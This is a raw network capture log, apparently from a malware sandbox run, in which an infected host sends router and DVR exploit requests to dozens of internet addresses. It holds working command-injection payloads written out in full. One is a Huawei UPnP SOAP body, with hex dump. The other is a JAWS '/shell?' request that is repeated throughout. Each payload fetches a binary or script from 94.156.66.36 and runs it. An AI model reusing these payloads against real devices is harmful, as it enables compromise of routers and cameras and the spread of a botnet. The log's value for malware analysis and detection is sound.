version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:54.676801920 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.15	44798	139.59.99.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.628334045 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.954787970 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.15	37400	203.143.87.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.629750967 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.957492113 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:54 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.15	53702	54.169.195.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.644017935 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.986867905 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:53 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.15	35520	18.188.91.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.112756968 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:56.215543032 CET	529	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:56 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 335 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 70 2d 31 37 32 2d 33 31 2d 33 33 2d 31 37 32 2e 75 73 2d 65 61 73 74 2d 32 2e 63 6f 6d 70 75 74 65 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at ip-172-31-33-172.us-east-2.compute.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.15	43426	34.128.191.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.116602898 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.15	56292	13.224.102.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.201203108 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:56.379024029 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:35:56 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.15	42206	46.36.222.144	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.221082926 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.15	56530	212.31.19.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.238421917 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.15	47958	186.211.165.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.238444090 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:56.454888105 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Wed, 13 Mar 2024 08:35:52 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.15	48442	213.155.66.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.378671885 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:56.556027889 CET	455	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:35:56 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://7x7.elanfo.de/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.15	50836	37.116.86.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:56.692950010 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:56.900847912 CET	600	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 33 20 4d 61 72 20 32 30 32 34 20 30 38 3a 33 35 3a 35 36 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: UNKNOWN 400 Bad RequestServer: Date: Wed, 13 Mar 2024 08:35:56 GMTCache-Control: no-cache,no-store,max-age=0Prama: no-cacheX-Frame-Options: DENYExpires: 0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-S

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.15	50842	37.116.86.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:57.213356018 CET	600	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 33 20 4d 61 72 20 32 30 32 34 20 30 38 3a 33 35 3a 35 37 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: UNKNOWN 400 Bad RequestServer: Date: Wed, 13 Mar 2024 08:35:57 GMTCache-Control: no-cache,no-store,max-age=0Prama: no-cacheX-Frame-Options: DENYExpires: 0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-S

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.15	33460	4.249.186.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.159216881 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.15	34504	207.194.62.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.188241959 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:58.418364048 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:58 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.15	33776	65.21.189.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.214847088 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:58.403742075 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:58 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.15	39550	95.55.211.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.225126028 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:58.424958944 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Wed, 13 Mar 2024 08:35:21 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.15	48644	194.135.104.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.289021015 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:58.417646885 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Wed, 13 Mar 2024 08:35:58 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.15	59478	104.102.34.241	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.383630037 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:58.552244902 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:58 GMT Date: Wed, 13 Mar 2024 08:35:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 37 66 30 31 30 30 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 35 38 26 23 34 36 3b 34 63 35 39 65 34 62 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.87f01002.1710318958.4c59e4bd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.15	46812	102.23.246.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:58.388854027 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
